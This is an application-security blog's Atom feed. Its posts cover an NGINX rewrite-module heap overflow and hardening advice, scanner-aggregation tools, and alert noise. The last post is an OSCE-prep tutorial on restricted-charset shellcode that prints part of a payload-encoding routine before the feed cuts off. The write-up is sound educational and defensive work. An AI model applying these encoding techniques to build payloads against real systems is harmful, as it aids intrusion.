<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="4.3.4">Jekyll</generator><link href="https://armoredcode.com/feed.xml" rel="self" type="application/atom+xml" /><link href="https://armoredcode.com/" rel="alternate" type="text/html" /><updated>2026-05-28T10:15:43+00:00</updated><id>https://armoredcode.com/feed.xml</id><title type="html">Armored Code</title><subtitle>Armored Code is a publication about application security, alert fatigue, and building tools that focus on signal over noise.
</subtitle><author><name>Paolo Perego</name><email>paolo@armoredcode.com</email></author><entry><title type="html">NGINX PoolSlip &amp;amp; NGINX Rift: When the Internet’s Favorite Reverse Proxy Turns Against Itself</title><link href="https://armoredcode.com/blog/nginx-poolslip-nginx-rift-reverse-proxy-rce/" rel="alternate" type="text/html" title="NGINX PoolSlip &amp;amp; NGINX Rift: When the Internet’s Favorite Reverse Proxy Turns Against Itself" /><published>2026-05-28T10:00:00+00:00</published><updated>2026-05-28T10:00:00+00:00</updated><id>https://armoredcode.com/blog/nginx-poolslip-nginx-rift-reverse-proxy-rce</id><content type="html" xml:base="https://armoredcode.com/blog/nginx-poolslip-nginx-rift-reverse-proxy-rce/"><![CDATA[<p>For nearly two decades, NGINX has been one of the silent pillars of the modern Internet.<br />
Reverse proxies, Kubernetes ingress controllers, API gateways, WAFs, CDN edges — everywhere you look, NGINX is there.</p>

<p>That is precisely why the recent disclosure of <strong>NGINX Rift</strong> and the follow-up <strong>NGINX PoolSlip</strong> vulnerabilities should worry defenders far beyond the usual patch cycle.</p>

<p>What started as a critical heap overflow buried in the rewrite engine quickly evolved into something much larger: a reminder that memory-unsafe infrastructure software can become a single point of systemic Internet risk.</p>

<hr />

<h2 id="the-first-shock-nginx-rift">The First Shock: NGINX Rift</h2>

<p>Researchers disclosed <strong>CVE-2026-42945</strong>, nicknamed <strong>NGINX Rift</strong>, a critical heap buffer overflow affecting the <code class="language-plaintext highlighter-rouge">ngx_http_rewrite_module</code>.<br />
The flaw reportedly existed in the codebase since <strong>2008</strong>.</p>

<p>Affected versions included:</p>

<ul>
  <li>NGINX Open Source <code class="language-plaintext highlighter-rouge">0.6.27 → 1.30.0</code></li>
  <li>NGINX Plus <code class="language-plaintext highlighter-rouge">R32 → R36</code></li>
</ul>

<p>The vulnerability is triggered through specific rewrite configurations involving:</p>

<ul>
  <li>unnamed PCRE capture groups (<code class="language-plaintext highlighter-rouge">$1</code>, <code class="language-plaintext highlighter-rouge">$2</code>)</li>
  <li>rewrite replacement strings containing <code class="language-plaintext highlighter-rouge">?</code></li>
  <li>chained rewrite/set directives</li>
</ul>

<p>Under the right conditions, attackers could achieve:</p>

<ul>
  <li>Worker process crashes</li>
  <li>Heap corruption</li>
  <li>Remote Code Execution (RCE)</li>
</ul>

<p>without authentication.</p>

<hr />

<h2 id="why-rift-was-dangerous">Why Rift Was Dangerous</h2>

<p>The frightening part was not just the bug itself.</p>

<p>It was <em>where</em> the bug lived.</p>

<p>NGINX rewrite logic sits directly on the edge of infrastructure:</p>

<ul>
  <li>load balancers</li>
  <li>ingress controllers</li>
  <li>reverse proxies</li>
  <li>API routing layers</li>
  <li>authentication gateways</li>
</ul>

<p>In many environments, rewrite rules are treated as harmless operational plumbing.<br />
In reality, they became an Internet-facing attack surface capable of memory corruption.</p>

<p>Even worse, exploitation was reportedly achievable through ordinary HTTP requests.</p>

<hr />

<h2 id="heap-corruption-in-the-rewrite-engine">Heap Corruption in the Rewrite Engine</h2>

<p>The vulnerability allowed crafted requests to manipulate heap memory inside internal NGINX request structures.</p>

<p>In practical terms:</p>

<ol>
  <li>A malformed request reaches a vulnerable rewrite rule</li>
  <li>Buffer calculations fail</li>
  <li>Heap memory gets overwritten</li>
  <li>Function pointers become attacker-controlled</li>
  <li>NGINX executes corrupted cleanup callbacks</li>
</ol>

<p>That turns a reverse proxy into a potential RCE primitive.</p>

<hr />

<h2 id="then-came-poolslip">Then Came PoolSlip</h2>

<p>As administrators rushed to patch Rift, a second issue emerged:</p>

<p><strong>NGINX PoolSlip</strong></p>

<p>PoolSlip targets NGINX request memory pools (<code class="language-plaintext highlighter-rouge">ngx_pool_t</code>) and explores a different exploitation path in the memory allocator and cleanup chain.</p>

<p>The key concern is architectural:</p>

<blockquote>
  <p>Fixing one memory corruption path did not eliminate the underlying unsafe design patterns.</p>
</blockquote>

<p>PoolSlip reportedly enables:</p>

<ul>
  <li>ASLR bypass techniques</li>
  <li>controlled heap corruption</li>
  <li>potential remote code execution</li>
</ul>

<p>through alternative rewrite-driven execution flows.</p>

<hr />

<h2 id="a-design-problem-not-just-a-bug">A Design Problem, Not Just a Bug</h2>

<p>These vulnerabilities expose a broader truth:</p>

<p>Modern Internet infrastructure still relies heavily on memory-unsafe C code.</p>

<p>NGINX is fast because of:</p>

<ul>
  <li>manual memory management</li>
  <li>custom allocators</li>
  <li>pooled request lifecycle handling</li>
</ul>

<p>But these same decisions create long-lived attack surfaces that are extremely difficult to eliminate completely.</p>

<hr />

<h2 id="the-rewrite-engine-is-an-attack-surface">The Rewrite Engine Is an Attack Surface</h2>

<p>Configuration is code.</p>

<p>Rewrite rules are not harmless routing logic — they are part of the execution surface.</p>

<p>Risky patterns include:</p>

<div class="language-nginx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">rewrite</span> <span class="s">^/user/(.*)</span>$ <span class="n">/profile.php?id=</span><span class="nv">$1</span><span class="s">?</span><span class="p">;</span>
<span class="k">set</span> <span class="nv">$target</span> <span class="nv">$1</span><span class="p">;</span>
</code></pre></div></div>

<p>Regex capture groups and variable interpolation can turn configuration into a memory corruption trigger.</p>

<h2 id="detection--hardening">Detection &amp; Hardening</h2>
<h3 id="upgrade-immediately">Upgrade immediately</h3>

<p>Apply vendor patches for your NGINX distribution or fork.</p>

<h3 id="audit-rewrite-rules">Audit rewrite rules</h3>

<p>Look for:</p>

<ul>
  <li>$1, $2 capture usage</li>
  <li>chained rewrites</li>
  <li>? in rewrite targets</li>
  <li>dynamic variable expansion</li>
</ul>

<h3 id="reduce-complexity">Reduce complexity</h3>

<p>Move routing logic out of NGINX when possible.</p>

<h3 id="monitor-crashes">Monitor crashes</h3>

<p>Watch for:</p>

<ul>
  <li>worker segfaults</li>
  <li>abnormal restarts</li>
  <li>request-triggered instability</li>
</ul>

<h2 id="off-by-one">Off by one</h2>

<p>NGINX became critical infrastructure because it is fast and flexible.</p>

<p>But flexibility built on unsafe memory handling comes at a cost.</p>

<p>Rift exposed how rewrite logic can become a corruption surface.
PoolSlip showed how quickly adjacent paths emerge.</p>

<p>The lesson is simple:</p>

<blockquote>
  <p>The edge is not just traffic routing anymore. It is executable infrastructure.</p>
</blockquote>]]></content><author><name>Paolo Perego</name></author><summary type="html"><![CDATA[NGINX Rift and PoolSlip expose dangerous memory corruption flaws inside one of the Internet’s most trusted reverse proxies, turning rewrite rules into a potential remote code execution surface. From long-lived heap bugs to new exploitation paths, the edge just became the attack surface.]]></summary></entry><entry><title type="html">Signal Engine 0.3.0: From Raw Findings to Real Signal</title><link href="https://armoredcode.com/blog/signal-engine-0.3.0-from-findings-to-signal/" rel="alternate" type="text/html" title="Signal Engine 0.3.0: From Raw Findings to Real Signal" /><published>2026-03-24T00:00:00+00:00</published><updated>2026-03-24T00:00:00+00:00</updated><id>https://armoredcode.com/blog/signal-engine-0.3.0-from-findings-to-signal</id><content type="html" xml:base="https://armoredcode.com/blog/signal-engine-0.3.0-from-findings-to-signal/"><![CDATA[<p>Security tools are easy to run.</p>

<p>What’s hard is making sense of their output.</p>

<p>If you’ve ever tried combining results from multiple scanners, you already know
the problem:</p>

<p>duplicated findings inconsistent severity models noisy reports no clear way to
prioritize risk</p>

<p><a href="https://github.com/armoredcode/signal-engine/releases/tag/0.3.0">Signal Engine 0.3.0</a>
is a step toward fixing that.</p>

<p>Not by adding more scanners — but by turning raw findings into something you can
actually reason about.</p>

<h2 id="a-new-foundation-standardization-first">A new foundation: standardization first</h2>

<p>At the core of this release is one fundamental change: signal engine now speaks
SARIF natively.</p>

<p>This means it can ingest results from tools like:</p>

<ul>
  <li>dr_source</li>
  <li>GitHub CodeQL</li>
  <li>Gitleaks, Trivy, Ruff</li>
  <li>Brakeman, Gosec, Checkov, Hadolint, Dawnscanner</li>
</ul>

<p>All normalized into a consistent internal model.</p>

<p>Different tools. Different formats. <strong>One pipeline.</strong></p>

<h2 id="deduplication-that-actually-works">Deduplication that actually works</h2>

<p>Running multiple tools usually creates overlap. Same issue. Slightly different
location. Different tool.</p>

<p>Before 0.3.0, that noise was your problem. Now it’s handled by the engine.</p>

<p>A new <code class="language-plaintext highlighter-rouge">dedup</code> command introduces proximity-based deduplication, powered by a
clustering algorithm that groups findings within a configurable line threshold.</p>

<p>This is not string matching. This is <strong>context-aware</strong> deduplication.</p>

<p>Because in real codebases, the same vulnerability rarely appears exactly on the
same line.</p>

<h2 id="clustering-from-findings-to-patterns">Clustering: From Findings to Patterns</h2>

<p>The new <code class="language-plaintext highlighter-rouge">smart_cluster</code> algorithm changes how findings are interpreted.</p>

<p>Instead of treating each issue as isolated, Signal Engine groups them into
clusters of related risk.</p>

<p>This enables:</p>

<ul>
  <li>aggregation across tools</li>
  <li>grouping by code proximity</li>
  <li>better identification of problematic areas</li>
</ul>

<p>It’s the difference between:</p>

<blockquote>
  <p>“You have 37 issues”</p>
</blockquote>

<p>and</p>

<blockquote>
  <p>“You have 3 risky zones in your codebase”</p>
</blockquote>

<h2 id="hotspots-where-risk-actually-lives">Hotspots: where risk actually lives</h2>

<p>One of the most important additions in this release is the <code class="language-plaintext highlighter-rouge">hotspots</code> command.</p>

<p>It introduces a simple but powerful idea: risk is not just severity; it’s
density.</p>

<p>Signal Engine now calculates a risk score per 1000 lines of code, combining:</p>

<ul>
  <li>vulnerability count</li>
  <li>severity weighting</li>
  <li>file-level metrics (via cloc integration)</li>
</ul>

<p>This surfaces the areas where:</p>

<ul>
  <li>issues concentrate</li>
  <li>risk compounds</li>
  <li>attention is actually needed</li>
</ul>

<p>Not all files are equal. Now you can see which ones matter.</p>

<h2 id="risk-scoring-that-reflects-reality">Risk scoring that reflects reality</h2>

<p>Severity is no longer just a label.</p>

<p>It’s now part of a weighted scoring model:</p>

<ul>
  <li>Critical → 10.0</li>
  <li>High → 5.0</li>
  <li>Medium → 3.0</li>
  <li>Low → 1.0</li>
  <li>Info → 0.1</li>
</ul>

<p>This feeds directly into hotspot detection and analytics. A single critical
issue is not the same as ten informational warnings, and your tooling should
reflect that.</p>

<h2 id="better-ingestion-less-friction">Better ingestion, less friction</h2>

<p>Real-world tool output is messy.</p>

<p>This release improves ingestion across the board:</p>

<ul>
  <li>Support for multiple JSON structures (including SARIF <code class="language-plaintext highlighter-rouge">runs[]</code>)</li>
  <li>Smarter nested parsing for complex outputs</li>
  <li>Automatic language detection from file extensions</li>
  <li>Integrated handling of cloc metrics alongside findings</li>
  <li>Consistent loading for both single files and directories</li>
</ul>

<p>In short: less preprocessing, more analysis.</p>

<h2 id="a-usable-interface-finally">A usable interface (finally)</h2>

<p>Signal Engine is still a CLI tool — but now it’s one you actually want to use.</p>

<ul>
  <li>Clean, simplified tables</li>
  <li>Semantic coloring for severity and paths</li>
  <li>A redesigned info panel with repository metadata</li>
  <li>Color-coded hotspots based on risk density</li>
</ul>

<p>The goal wasn’t aesthetics. It was readability under pressure.</p>

<h2 id="under-the-hood">Under the hood</h2>

<p>A lot changed to support this direction:</p>

<ul>
  <li>Refactored ingestion and normalization pipeline</li>
  <li>Consolidated previously fragmented logic</li>
  <li>Removed redundant modules</li>
  <li>Fixed inconsistencies in severity mapping across tools</li>
  <li>Stabilized metrics ingestion and analysis flows</li>
</ul>

<p>Less duplication. More coherence.</p>

<h2 id="where-this-is-going">Where this is going</h2>

<p>Signal Engine is evolving toward a clear goal: make multi-tool security analysis
understandable.</p>

<p>Not louder. Not bigger. <strong>Sharper.</strong></p>]]></content><author><name>Paolo Perego</name></author><summary type="html"><![CDATA[Signal Engine 0.3.0 transforms raw security findings into structured, actionable insight. With clustering, deduplication, and risk-based hotspots, noise gives way to clarity. Less data to sift through, more signal to act on.]]></summary></entry><entry><title type="html">Soak: Deep-Tissue Static Analysis as an Execution Layer</title><link href="https://armoredcode.com/blog/soak-deep-tissue-static-analysis-as-an-execution-layer/" rel="alternate" type="text/html" title="Soak: Deep-Tissue Static Analysis as an Execution Layer" /><published>2026-02-15T00:00:00+00:00</published><updated>2026-02-15T00:00:00+00:00</updated><id>https://armoredcode.com/blog/soak-deep-tissue-static-analysis-as-an-execution-layer</id><content type="html" xml:base="https://armoredcode.com/blog/soak-deep-tissue-static-analysis-as-an-execution-layer/"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Modern application security is no longer about running a single scanner.</p>

<p>It’s about coordinating multiple engines, covering different ecosystems, and extracting consistent signals from heterogeneous outputs.</p>

<p>That coordination problem is what led to the creation of Soak.</p>

<p>Soak is a zero-dependency Docker image that aggregates a curated set of open-source security scanners into a single, reproducible execution environment.</p>

<p>Its purpose is simple:</p>

<blockquote>
  <p>Provide deep-tissue static analysis through a unified, containerized execution layer.</p>
</blockquote>

<h3 id="the-real-problem-toolchain-fragmentation">The Real Problem: Toolchain Fragmentation</h3>
<p>ecurity scanners are powerful — but fragmented.</p>

<p>Each tool:</p>

<ul>
  <li>Requires its own runtime (Python, Go, Java, Ruby…)</li>
  <li>Has its own CLI conventions</li>
  <li>Produces different output formats</li>
  <li>Evolves independently</li>
  <li>Introduces version drift across environments</li>
</ul>

<p>Managing multiple scanners across local development, CI, and production becomes operationally expensive.</p>

<p>If your execution layer is unstable, everything built on top of it becomes unreliable.</p>

<p>Soak removes that instability.</p>
<h3 id="what-soak-is">What Soak Is</h3>
<p>Soak is:</p>
<ul>
  <li>A single Docker image based on openSUSE Tumbleweed</li>
  <li>A multi-engine static analysis runtime</li>
  <li>An automated language and ecosystem detection layer</li>
  <li>A structured output generator (soak_summary.json)</li>
  <li>A reproducible, versionable scanning environment</li>
</ul>

<p>It is intentionally:</p>
<ul>
  <li>Stateless</li>
  <li>Self-contained</li>
  <li>Docker-only</li>
  <li>Automation-friendly</li>
</ul>

<p>If you have Docker, you can run Soak. Nothing else is required.</p>
<h3 id="deep-tissue-static-analysis">Deep-Tissue Static Analysis</h3>

<p>Soak performs what we call deep-tissue static analysis.</p>

<p>Instead of running one scanner, it:</p>
<ol>
  <li>Detects the project ecosystem (e.g., pom.xml, Gemfile, go.mod, Python metadata)</li>
  <li>Activates relevant engines</li>
  <li>Executes multiple scanners</li>
  <li>Aggregates structured results into a summary JSON file</li>
</ol>

<p>This provides multi-layer visibility across:</p>
<ul>
  <li>Source code vulnerabilities</li>
  <li>Dependency vulnerabilities (SCA)</li>
  <li>Secrets detection</li>
  <li>Infrastructure misconfigurations</li>
  <li>Shell and container linting</li>
  <li>Code quality and complexity metrics</li>
</ul>

<p>All from a single execution context.</p>

<h3 id="included-scanners">Included Scanners</h3>

<p>Soak bundles a broad range of open-source tools across ecosystems:</p>

<h4 id="multi-language">Multi-Language</h4>
<ul>
  <li>Semgrep</li>
  <li>Trivy</li>
</ul>

<h4 id="python">Python</h4>

<ul>
  <li>Bandit</li>
  <li>Mypy</li>
  <li>Radon</li>
  <li>Pip-audit</li>
</ul>

<h4 id="ruby">Ruby</h4>

<ul>
  <li>Dawnscanner</li>
  <li>Brakeman</li>
</ul>

<h4 id="java">Java</h4>

<ul>
  <li>PMD</li>
  <li>SpotBugs</li>
</ul>

<h4 id="go">Go</h4>

<ul>
  <li>Gosec</li>
  <li>Govulncheck</li>
  <li>Staticcheck</li>
</ul>

<h4 id="secrets">Secrets</h4>

<ul>
  <li>Gitleaks</li>
</ul>

<h4 id="infrastructure--devops">Infrastructure / DevOps</h4>

<ul>
  <li>Hadolint</li>
  <li>Checkov</li>
  <li>ShellCheck</li>
</ul>

<p>This provides horizontal coverage across application, dependencies, configuration, and container layers.</p>

<h4 id="execution-model">Execution Model</h4>

<p>Soak follows a clear internal structure:</p>

<ol>
  <li>
    <p>Detection Layer - Identifies project language and ecosystem metadata.</p>
  </li>
  <li>
    <p>Execution Layer - Runs relevant scanners inside the container in isolation.</p>
  </li>
  <li>
    <p>Aggregation Layer - Collects raw JSON outputs and produces soak_summary.json.</p>
  </li>
</ol>

<p>This separation allows Soak to act as a pure execution component that can integrate seamlessly with higher-level orchestration systems.</p>

<h3 id="designed-for-automation">Designed for Automation</h3>

<p>Running Soak is intentionally simple:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>soak /home/user/my-awesome-project
</code></pre></div></div>
<p>Behind the scenes, the container mounts the target repository, performs detection, executes scanners, and writes a structured summary file.</p>

<p>Because the entire runtime is containerized:</p>

<ul>
  <li>CI/CD behavior matches local execution</li>
  <li>Tool versions are pinned and reproducible</li>
  <li>No runtime installation is required</li>
  <li>No dependency resolution occurs at execution time</li>
</ul>

<p>This dramatically reduces environmental inconsistencies.</p>
<h3 id="soak-and-signal-engine">Soak and Signal-Engine</h3>
<p>Within the ArmoredCode ecosystem, Soak serves as the execution layer behind Signal-Engine.</p>

<p>The architectural separation is deliberate:</p>

<ul>
  <li>Soak executes</li>
  <li>Signal-Engine ingests and correlates</li>
</ul>

<p>Soak does not:</p>

<ul>
  <li>Perform scoring</li>
  <li>Maintain baselines</li>
  <li>Correlate findings</li>
  <li>Apply risk models</li>
</ul>

<p>It generates structured, multi-engine signals.</p>

<p>Signal-Engine transforms those signals into intelligence.</p>
<h3 id="why-centralize-the-toolchain">Why Centralize the Toolchain?</h3>
<p>Many scanners provide official Docker images.</p>

<p>However, using them independently introduces:</p>

<ul>
  <li>Multiple container contracts</li>
  <li>Inconsistent entrypoints</li>
  <li>Divergent output structures</li>
  <li>Distributed version management</li>
</ul>

<p>Soak centralizes the contract.</p>

<p>Instead of managing N scanner containers, orchestration systems interact with one unified execution environment.</p>

<p>This reduces complexity and increases control.</p>
<h3 id="security-by-design">Security by Design</h3>

<p>Soak executes scanners against potentially untrusted code.</p>

<p>Therefore:</p>

<ul>
  <li>The container is minimal and controlled</li>
  <li>Execution is ephemeral</li>
  <li>No persistent state is stored</li>
  <li>Capabilities are limited to what is required</li>
</ul>

<p>Execution should not increase the attack surface.</p>

<p>Isolation is a design principle, not an afterthought.</p>
<h3 id="off-by-one">Off-by-one</h3>

<p>Security analysis at scale requires architectural discipline.</p>

<p>Execution, ingestion, correlation, and scoring must be separated.</p>

<p>Soak exists to make the execution layer:</p>

<ul>
  <li>Deterministic</li>
  <li>Reproducible</li>
  <li>Multi-engine</li>
  <li>Containerized</li>
  <li>Automation-ready</li>
</ul>

<p>It provides deep-tissue static analysis through a single, consistent interface.</p>

<p>And in a fragmented scanner ecosystem, consistency is power.</p>]]></content><author><name>Paolo Perego</name></author><summary type="html"><![CDATA[Soak is a zero-dependency Docker image that aggregates a curated set of open-source security scanners into a single, reproducible execution environment.]]></summary></entry><entry><title type="html">Aggregating Semgrep Results: Top Rules, Files, and Clusters (MVP Demo)</title><link href="https://armoredcode.com/blog/aggregating-semgrep-results-mvp-demo/" rel="alternate" type="text/html" title="Aggregating Semgrep Results: Top Rules, Files, and Clusters (MVP Demo)" /><published>2026-01-26T00:00:00+00:00</published><updated>2026-01-26T00:00:00+00:00</updated><id>https://armoredcode.com/blog/aggregating-semgrep-results-mvp-demo</id><content type="html" xml:base="https://armoredcode.com/blog/aggregating-semgrep-results-mvp-demo/"><![CDATA[<h2 id="introduction">Introduction</h2>

<p>Turning security tool outputs into actionable insights is one of the biggest
challenges for developers and security engineers. In this post, I’m sharing a
minimal viable product (MVP) that takes Semgrep scan outputs and visualizes: top
rules, the most affected files, and clusters of related findings.</p>

<h2 id="watch-the-demo">Watch the Demo</h2>

<div class="video-container">

  <iframe src="https://www.youtube.com/embed/JEAuJIKdDjs?si=HvEMtSjh_zZxZ44e" frameborder="0" allowfullscreen=""></iframe>
</div>

<h2 id="how-the-mvp-works">How the MVP Works</h2>

<ol>
  <li><strong>Aggregates Semgrep Results</strong>: JSON outputs from multiple scans are
collected into a single dataset, ready for analysis.</li>
  <li><strong>Highlights Top Rules &amp; Top Files</strong>: Quickly identifies the rules triggered
most often and the files with the highest number of findings. This helps
prioritize what to fix first.</li>
  <li><strong>Clusters Related Findings</strong>: Findings are grouped into logical clusters to
reveal patterns and correlations between rules and code contexts.</li>
</ol>

<h2 id="why-this-matters">Why This Matters</h2>

<ul>
  <li>Provides a fast overview of large codebases.</li>
  <li>Reduces noise by focusing on the findings that matter most.</li>
  <li>Serves as the foundation for a Signal Engine: ingest → normalize → rank →
export/report.</li>
</ul>

<h2 id="next-steps">Next Steps</h2>

<p>This MVP is just the start. The ultimate goal is a full tool, I will call it
<em>Signal Engine</em>, that can:</p>

<ul>
  <li>Ingest results from multiple security tools</li>
  <li>Normalize and deduplicate findings</li>
  <li>Rank risks per finding</li>
  <li>Export actionable reports for developers and security engineers</li>
</ul>

<p>The demo shows a minimal but immediately usable implementation of this approach.</p>

<h2 id="try-it-yourself">Try it Yourself</h2>

<p>If you want to explore this workflow with your own Semgrep outputs, this MVP
provides a fast way to see patterns, prioritize rules, and focus on what really
matters in your code security scans.</p>

<p>The code is AGPLv3 licensed and released here:
<a href="https://github.com/thesp0nge/mvp_semgrep">https://github.com/thesp0nge/mvp_semgrep</a></p>]]></content><author><name>Paolo Perego</name></author><summary type="html"><![CDATA[Turning security tool outputs into actionable insights is one of the biggest challenges for developers and security engineers. In this post, I’m sharing a minimal viable product (MVP) that takes Semgrep scan outputs and visualize]]></summary></entry><entry><title type="html">Why Most Security Findings Are Misunderstood</title><link href="https://armoredcode.com/blog/why-most-security-findings-are-misunderstood/" rel="alternate" type="text/html" title="Why Most Security Findings Are Misunderstood" /><published>2026-01-13T00:00:00+00:00</published><updated>2026-01-13T00:00:00+00:00</updated><id>https://armoredcode.com/blog/why-most-security-findings-are-misunderstood</id><content type="html" xml:base="https://armoredcode.com/blog/why-most-security-findings-are-misunderstood/"><![CDATA[<p>In the
<a href="https://armoredcode.com/blog/why-most-security-tools-are-lying-to-you/">previous post</a>, we
saw how many security tools can “lie”: they don’t tell the full story, generate
noise, and often leave teams with a false sense of security. But what happens
after a vulnerability is reported? The story doesn’t get any better: most
findings are misunderstood.</p>

<h2 id="alerts-without-context">Alerts Without Context</h2>

<p>Not all vulnerabilities are created equal. A SQL Injection in an internal
endpoint is not the same as a remote code execution exposed publicly. Yet,
reports often treat them as equivalent, highlighting all “critical” issues with
the same weight. The result? Security teams waste time chasing false alarms or
low-impact issues, while the real threats remain in the shadows.</p>

<h2 id="the-noise-of-false-positives">The Noise of False Positives</h2>

<p>Every scanner produces false positives. Some are obvious, others less so. When a
team is flooded with alerts, the tendency is either to ignore them all or
blindly trust what the tool labels as “critical.” This approach is dangerous:
the real risk isn’t just missing vulnerabilities—it’s failing to understand
which ones actually matter.</p>

<h2 id="the-role-of-security-advocates">The Role of Security Advocates</h2>

<p>This is where humans come in: they are not tools, but interpreters. A security
advocate understands the business context, knows the system architecture, and
can assess the real impact of a vulnerability. With this knowledge, they can
prioritize effectively and turn a confusing list of alerts into a concrete,
actionable mitigation plan.</p>

<h2 id="ai-and-automation-allies-not-replacements">AI and Automation: Allies, Not Replacements</h2>

<p>AI can help reduce noise, group similar alerts, and suggest priorities. But
without human judgment, even the smartest algorithm is just a calculator without
context. Real power comes from the combination: intelligent tools and equally
intelligent people.</p>

<h2 id="off-by-one">Off by one</h2>

<p>Tools are useful, but they don’t replace human understanding. To truly protect
our applications, we must read between the lines of reports, understand context,
and put humans at the center of the security process.</p>

<p>The next step? We’ll explore how to optimize tool usage without being fooled by
noise, and how to build smarter, more conscious security pipelines.</p>]]></content><author><name>Paolo Perego</name></author><summary type="html"><![CDATA[In the previous post, we saw how many security tools can “lie”: they don’t tell the full story, generate noise, and often leave teams with a false sense of security. But what happens after a vulnerability is reported? The story doesn’t get any better: most findings are misunderstood.]]></summary></entry><entry><title type="html">Why most security tools are lying to you</title><link href="https://armoredcode.com/blog/why-most-security-tools-are-lying-to-you/" rel="alternate" type="text/html" title="Why most security tools are lying to you" /><published>2026-01-08T00:00:00+00:00</published><updated>2026-01-08T00:00:00+00:00</updated><id>https://armoredcode.com/blog/why-most-security-tools-are-lying-to-you</id><content type="html" xml:base="https://armoredcode.com/blog/why-most-security-tools-are-lying-to-you/"><![CDATA[<p>We live in a world where developers and security teams are <strong>drowning in
alerts</strong>. Every scanner, every automated tool, every “security dashboard”
promises to tell you what matters—but in reality, most of it is noise.</p>

<p>I’ve seen teams spend <strong>weeks chasing false positives</strong>, patching things that
weren’t critical, while the real vulnerabilities quietly slipped through the
cracks.</p>

<p>Here’s the hard truth:</p>

<ol>
  <li><strong>Alerts don’t equal risks.</strong> Most tools generate hundreds of notifications
that have little real-world impact.</li>
  <li><strong>Context is missing.</strong> A vulnerability in a library may not be exploitable
in your environment.</li>
  <li><strong>Time is the real enemy.</strong> Devs can’t fix everything. Prioritization is
everything.</li>
</ol>

<p>This isn’t just frustration—it’s a <strong>failure in how we communicate security</strong>.</p>

<p>Over the coming weeks, I’ll share <strong>ways to focus on the signals that truly
matter</strong>, how to <strong>aggregate, contextualize, and act on security findings</strong>, and
why most “tools” fail to do that.</p>

<p><strong>If you care about fixing the right problems</strong>, follow Armored Code. The goal
isn’t just security—it’s <em>effective security</em>.</p>]]></content><author><name>Paolo Perego</name></author><summary type="html"><![CDATA[We live in a world where developers and security teams are drowning in alerts. Every scanner, every automated tool, every “security dashboard” promises to tell you what matters—but in reality, most of it is noise.]]></summary></entry><entry><title type="html">A tale of a restricted charset shellcode generation</title><link href="https://armoredcode.com/blog/a-tale-of-a-restricted-charset-shellcode-generation/" rel="alternate" type="text/html" title="A tale of a restricted charset shellcode generation" /><published>2019-04-19T00:00:00+00:00</published><updated>2019-04-19T00:00:00+00:00</updated><id>https://armoredcode.com/blog/a-tale-of-a-restricted-charset-shellcode-generation</id><content type="html" xml:base="https://armoredcode.com/blog/a-tale-of-a-restricted-charset-shellcode-generation/"><![CDATA[<p>During my OSCE exam preparation I had to deal with shellcode writing experience
where very few allower characters were available.</p>

<p>This brilliant talk by <a href="https://twitter.com/muts">@muts</a>, lead us to get in
touch with a new encoding technique. When you can’t directly write words on the
stack, due to bad characters, you can eventually let a register to contained
the desired word and then push the register into the stack.</p>

<div class="embed-container">
    <iframe width="640" height="390" src="https://www.youtube.com/embed/gHISpAZiAm0" frameborder="0" allowfullscreen=""></iframe>
</div>
<style>
.embed-container {
  position: relative;
  padding-bottom: 56.25%;
  height: 0;
  overflow: hidden;
  max-width: 100%;
}
.embed-container iframe,
.embed-container object,
.embed-container embed {
  position: absolute;
  top: 0;
  left: 0;
  width: 100%;
  height: 100%;
}
</style>

<p>As you can see from the video taken at Defcon 16, the code exploits the fact
that after the shellcode it has been written into the stack, very close to the
encoded payload, the execution flow continues until the decoded shellcode it
has been found.</p>

<p>Boom.</p>

<p>All the magic happens in two different pieces.</p>

<h2 id="init-a-register-to-0">Init a register to 0</h2>

<p>We can’t use XOR to init a register to zero. So we use math here and some
AND property to apply to reset all bits in our register.</p>

<p>On
<a href="https://github.com/thesp0nge/shellerate/blob/master/shellerate/asm_x86.py">shellerate</a>
I created a zero_with_and routine. The basic idea is to get a random 32 bits
value, calculating its NOT and then build the shellcode. When the register it
has been put in AND with those two values, it will be set to zero.</p>

<figure class="highlight"><pre><code class="language-python" data-lang="python">  <span class="k">def</span> <span class="nf">zero_with_and</span><span class="p">(</span><span class="n">reg</span><span class="o">=</span><span class="s">"eax"</span><span class="p">,</span> <span class="n">badchar</span><span class="o">=</span><span class="p">[]):</span>

  <span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
    <span class="n">first_and</span> <span class="o">=</span> <span class="n">secrets</span><span class="p">.</span><span class="n">token_hex</span><span class="p">(</span><span class="mi">4</span><span class="p">)</span>
    <span class="n">n_b</span> <span class="o">=</span> <span class="nb">bin</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">first_and</span><span class="p">,</span> <span class="mi">16</span><span class="p">))</span>
    <span class="n">n_b_2</span> <span class="o">=</span> <span class="n">bit_not</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">n_b</span><span class="p">,</span> <span class="mi">2</span><span class="p">),</span> <span class="mi">32</span><span class="p">)</span>
    <span class="k">if</span> <span class="n">n_b_2</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">:</span>
      <span class="k">break</span>

  <span class="n">second_and</span> <span class="o">=</span> <span class="nb">format</span><span class="p">(</span><span class="n">n_b_2</span><span class="p">,</span> <span class="s">'x'</span><span class="p">).</span><span class="n">zfill</span><span class="p">(</span><span class="mi">8</span><span class="p">)</span>

  <span class="n">logging</span><span class="p">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"First AND: %s"</span> <span class="o">%</span> <span class="n">first_and</span><span class="p">)</span>
  <span class="n">logging</span><span class="p">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"Second AND: %s"</span> <span class="o">%</span> <span class="n">second_and</span><span class="p">)</span>

  <span class="n">first_and_hex</span> <span class="o">=</span> <span class="n">strings</span><span class="p">.</span><span class="n">from_string_to_payload</span><span class="p">(</span><span class="n">strings</span><span class="p">.</span><span class="n">swap</span><span class="p">(</span><span class="n">first_and</span><span class="p">))</span>
  <span class="n">second_and_hex</span> <span class="o">=</span> <span class="n">strings</span><span class="p">.</span><span class="n">from_string_to_payload</span><span class="p">(</span><span class="n">strings</span><span class="p">.</span><span class="n">swap</span><span class="p">(</span><span class="n">second_and</span><span class="p">))</span>

  <span class="k">if</span> <span class="n">reg</span> <span class="o">==</span> <span class="s">"eax"</span><span class="p">:</span>
